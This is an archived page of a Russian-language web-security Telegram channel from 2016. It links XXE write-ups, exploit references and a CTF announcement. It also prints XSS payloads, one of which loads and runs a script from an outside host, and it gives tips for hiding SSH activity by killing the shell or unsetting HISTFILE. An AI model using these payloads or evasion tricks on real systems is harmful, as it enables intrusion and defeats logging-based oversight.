Телеграмм чат группы webpwn страница 1

Size: a a a

Кавычка

9539 membersпожаловаться на группу

2016 March 04

Кавычка

Как ломал одно, а случайно сломалось другое
https://bo0om.ru/vk-xxe-rss

источник

110913:39пожаловаться #1

2016 March 17

Кавычка

https://vulners.com/exploitdb/EDB-ID:39569

источник

116315:17пожаловаться #2

Кавычка

Кстати говоря, fuzz.txt (bo0om.ru/fuzz.txt) вошёл как дефолтный словарь в dirsearch.

https://github.com/maurosoria/dirsearch

Надо про него потом еще написать :)

GitHub

Bo0oM/fuzz.txt

Potentially dangerous files. Contribute to Bo0oM/fuzz.txt development by creating an account on GitHub.

источник

126321:08пожаловаться #3

2016 March 18

Кавычка

VK - история одного взлома
https://bo0om.ru/vk-xxe-hack

источник

130717:14пожаловаться #4

Кавычка

источник

123817:33пожаловаться #5

2016 March 24

Кавычка

Накалякал
https://xakep.ru/2016/03/23/json-xml-api-xxe/

«Хакер»

Easy Hack: Как пропихнуть инъекцию через JSON/XML-заглушки для API

Как найти уязвимости там, где их ещё никто не искал? Попробуй перевести POST-запрос, например, для аутентификации в JSON- или XML-формат. Идея в том, что разработчики часто оставляют различные способы аутентификации, обычно, для дальнейшего использования сторонними приложениями. А так как эта функциональность не на виду, часто она не защищена от банальных инъекций. а если в дело вступает XML - чтение произвольных файлов на сервере практически гарантированно!

источник

129400:28пожаловаться #6

2016 March 30

Кавычка

Все хакеры - как хакеры. А я - богиня!

источник

145112:29пожаловаться #7

Кавычка

https://channel9.msdn.com/Events/Build/Russian-Online-Translation-Build-2016?CR_CC=200771969

А тут трансляция. Только что запустили emacs из bash'а!
Да, в windows запилили BASH! BASH КАРЛ!

Channel 9

Build 2016 (русскоязычная трансляция) (Channel 9)

Конференция Build будет посвящена всем платформам Microsoft- вас ждет множество материалов и информации о Windows, Azure, Office 365 и других решениях. Три дня през

источник

132019:16пожаловаться #8

2016 March 31

Кавычка

Сегодня второй день Build'а, если кому интересно. Будут опять что-то презентовать и рассказывать про будущее MS.

Трансляция тут https://channel9.msdn.com/

Msdn

Channel 9 provides videos for developers, delivered by the people who work behind the scenes at Microsoft.

Channel 9 is a community. We bring forward the people behind our products and connect them with those who use them.
We think there is a great future in software and we're excited about it. We want the community to participate in the ongoing conversation.
This is the heart of Channel 9. We talk about our work but listen to the customer.

источник

130618:26пожаловаться #9

2016 April 01

Кавычка

У тебя спина белая

источник

124310:05пожаловаться #10

Кавычка

Классика

источник

150811:14пожаловаться #11

2016 April 04

Кавычка

Один из коротких векторов для выполнения JS при XSS атаке:

<q/oncut=alert()>X

Событие oncut сработает, если пользователь попытается вырезать содержимое, т.е. выделет текст и нажмет CTRL+X.
Эксплуатабельность низкая, но для bugbounty, когда жесткие ограничения на длину вектора - сойдёт.

источник

133911:39пожаловаться #12

Кавычка

источник

130711:40пожаловаться #13

Кавычка

источник

133711:40пожаловаться #14

Кавычка

А это более прикольная альтернатива alert'у

<img src onerror="(function(u){var d=document,s=d.createElement('scri'+'pt');s.src=u;(d.head||d.documentElement).appendChild(s);s.parentNode.removeChild(s);}('//bo0om.ru/xss.js'));">

Хоть и боян

источник

158116:03пожаловаться #15

2016 April 06

Кавычка

Большая коллекция ссылок по эксплуатации дескриализации в Java
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

GitHub

GrrrDog/Java-Deserialization-Cheat-Sheet

The cheat sheet about Java Deserialization vulnerabilities - GrrrDog/Java-Deserialization-Cheat-Sheet

источник

149810:19пожаловаться #16

2016 April 07

Кавычка

А вот и доклады с defcon russia подъехали!

Ломаем автомобили с Алексеем Синцовым. Доклад - Testing CAN network with help of CANToolz
Видео - http://www.youtube.com/watch?v=UbkhBIhbh_o
Презентация -
http://www.slideshare.net/AlexeySintsov/testing-can-network-with-help-of-cantoolz
Репозиторий - https://github.com/eik00d/CANToolz

Доклад Александра Большева - Never Trust Your Inputs or How To Fool an ADC
Видео - http://www.youtube.com/watch?v=jH1bgIGUNc0
Презентация -
http://www.slideshare.net/DefconRussia/dcg-25-never-trust-your-inputs-or-how-to-fool-an-adc

источник

173812:01пожаловаться #17

2016 April 12

Кавычка

Если ты подключен к SSH и хочешь скрыть, что делалось на машине, полезно после всех действий выполнить kill -9 $$

Это убет собственный процесс, а последние команды в .bash_history не запишутся.

Или можно ввести unset HISTFILE (с пробелом в начале), чтобы не писать в историю вовсе.

источник

160412:34пожаловаться #18

Кавычка

Кстати, ночью стартует HackQuest!
http://www.phdays.ru/press/news/46226/
Будет много веба, задача - найти уязвимость, успешно ее проэксплуатировать и достать некий секрет (он же флаг).
Даже если не собираешься что-то выигрывать, можешь попробовать найти уязимости на одном из сайтов, задания будут как легкие, так и хардкорные.
Когда стартанём, еще разок напомню ;)

источник

161414:13пожаловаться #19

2016 April 13

Кавычка

Итак, стартует HackQuest

telegram.me/wlrm_phd_hq_bot

А вот и ссылка на участие :)

Да-да, прямо в telegram!

Удачи!

PHDays VI. HackQuest bot

You can contact @WLRM_PHD_HQ_bot right away.

источник

186200:03пожаловаться #20